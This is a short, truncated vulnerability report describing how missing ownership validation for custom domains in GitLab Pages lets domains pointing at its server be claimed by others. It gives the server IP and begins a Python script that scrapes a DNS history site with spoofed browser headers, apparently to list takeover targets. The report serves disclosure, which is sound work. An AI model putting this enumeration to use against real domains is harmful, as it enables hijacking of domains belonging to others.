Lack of validation before assigning custom domain names leading to abuse of GitLab pages service

One way to add a custom domain name for GitLab pages is to create a new DNS A record pointing to the IP of GitLab Pages server i.e. `52.167.214.135`. A person who owns the domain name, could then add the domain name in the Pages settings (at `https://gitlab.com/<username>/<repo>/pages`). GitLab …

import requests
import json
import time

headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0',
    'Referer': 'https://dnstrails.com/',
    'Origin': 'https://dnstrails.com',
    'DNT': '1',
}

page_no = 1

while page_no <= 1000:
  params = ( …